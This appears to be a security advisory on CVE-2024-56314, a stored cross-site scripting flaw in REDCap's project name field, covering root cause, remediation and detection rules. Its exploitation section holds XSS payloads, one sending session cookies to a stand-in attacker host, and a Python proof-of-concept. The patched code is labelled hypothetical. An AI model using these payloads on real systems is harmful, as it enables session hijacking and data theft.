CVE-2024-56314

Executive Summary

CVE-2024-56314 is a stored cross-site scripting (XSS) vulnerability in the Project name field of REDCap through version 14.9.6. An authenticated attacker can inject malicious JavaScript into the project name, which executes when any user (including administrators) clicks on the project name to access it. This can lead to session hijacking, data exfiltration, or further compromise within the REDCap instance. The vulnerability has a CVSS score of 5.4 (Medium) due to the requirement for authentication and user interaction, but the impact can be severe in multi-tenant or research environments.

Supply Chain & Package Security

REDCap is a web application typically deployed as a PHP/MySQL stack. No direct NPM, PyPI, Go, or Ruby packages are involved. However, administrators should verify the integrity of their REDCap installation files and ensure no third-party plugins or customizations introduce additional risks.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: Required (victim must click on project name)
• Scope: Changed (impact may extend beyond vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires authentication, but the stored XSS can be used to target administrators or other users, potentially leading to privilege escalation or data theft.

Deep Dive & Mechanics

The vulnerability exists in the project name field during project creation or editing. REDCap does not properly sanitize or encode user input before storing it in the database. When the project name is rendered in the user interface (e.g., in project lists or navigation), the injected script is executed in the context of the victim's browser.

Attack Flow:

1. Attacker logs in as a user with project creation privileges.
2. Attacker creates a new project with a malicious payload in the name field, e.g., <img src=x onerror=alert('XSS')>.
3. The payload is stored in the database.
4. Victim (e.g., another user or admin) navigates to the project list and clicks on the project name.
5. The browser executes the injected script, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Root Cause: Lack of output encoding when displaying the project name in HTML context.

Vulnerable vs. Patched Code

Vulnerable Code (REDCap <= 14.9.6):

// In a view file, e.g., ProjectList.php
echo "<a href='project.php?pid={$project_id}'>{$project_name}</a>";

The $project_name variable is not sanitized or encoded before output.

Patched Code (Hypothetical):

echo "<a href='project.php?pid=" . htmlspecialchars($project_id, ENT_QUOTES, 'UTF-8') . "'>" . htmlspecialchars($project_name, ENT_QUOTES, 'UTF-8') . "</a>";

Using htmlspecialchars() with ENT_QUOTES ensures that any HTML special characters are encoded, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Valid REDCap user account with project creation privileges.
• Access to the REDCap web interface.

Exploit Steps:

1. Log in to REDCap.
2. Navigate to "Create New Project" or edit an existing project.
3. In the "Project Name" field, enter a payload such as:

   <script>alert(document.cookie)</script>
   

   Or a more sophisticated payload:

   <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
   

4. Save the project.
5. Send a link to the project to the victim (e.g., via email or internal messaging).
6. When the victim clicks on the project name, the payload executes.

Proof-of-Concept (PoC) Script:

import requests

target = "https://redcap.example.com"
session = requests.Session()

# Login (adjust credentials)
login_data = {"username": "attacker", "password": "password123"}
session.post(f"{target}/index.php?action=login", data=login_data)

# Create project with XSS payload
payload = "<script>alert('XSS')</script>"
project_data = {
    "action": "create",
    "project_title": payload,
    "app_title": "Test"
}
session.post(f"{target}/ProjectGeneral/create_project.php", data=project_data)
print("Project created with XSS payload.")

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual project names containing HTML/JavaScript characters.
• Review web server logs for requests to project creation endpoints with suspicious payloads.
• Use WAF rules to block common XSS patterns in project name fields.

Hardening:

• Apply input validation and output encoding as shown in the patched code section.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use HTTP-only cookies to mitigate session theft.
• Regularly update REDCap to the latest version.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains from REDCap server.
  • Suspicious project names in database containing <script>, <img onerror=, or similar patterns.
• Host IOCs:
  • Unusual entries in REDCap database redcap_projects table with HTML/JavaScript in project_name field.
  • Web server logs showing POST requests to create_project.php with encoded payloads.
• File IOCs:
  • Modified REDCap source files (if attacker gains code execution).

Detection Engineering

YARA Rule

rule CVE_2024_56314_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads in REDCap project names"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-56314"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /<img[^>]*onerror\s*=/i
        $xss3 = /<svg[^>]*onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: REDCap Stored XSS in Project Name
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-56314 by creating projects with XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "action=create"
        cs-uri-query|contains: "project_title="
        cs-uri-query|contains|re: "(<script|<img onerror|<svg onload|javascript:)"
    condition: selection
falsepositives:
    - Legitimate use of HTML in project names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-56314 REDCap Stored XSS Payload in Project Name"; flow:to_server,established; content:"POST"; http_method; content:"create_project.php"; http_uri; content:"project_title="; http_client_body; pcre:"/(<script|<img onerror|<svg onload|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade REDCap to a version newer than 14.9.6 if a patch becomes available.
2. Apply input validation to the project name field: strip or encode HTML tags.
3. Implement output encoding using htmlspecialchars() in all views that display project names.
4. Deploy a Web Application Firewall (WAF) with rules to block XSS payloads in POST parameters.

Long-Term Hardening:

• Enforce Content Security Policy (CSP) headers.
• Use HTTP-only and Secure flags for session cookies.
• Conduct regular security audits and penetration testing.
• Educate users about phishing and social engineering risks.

Workaround (if patching is not possible):

• Disable project creation for non-admin users.
• Manually review and sanitize project names in the database.

Valters IT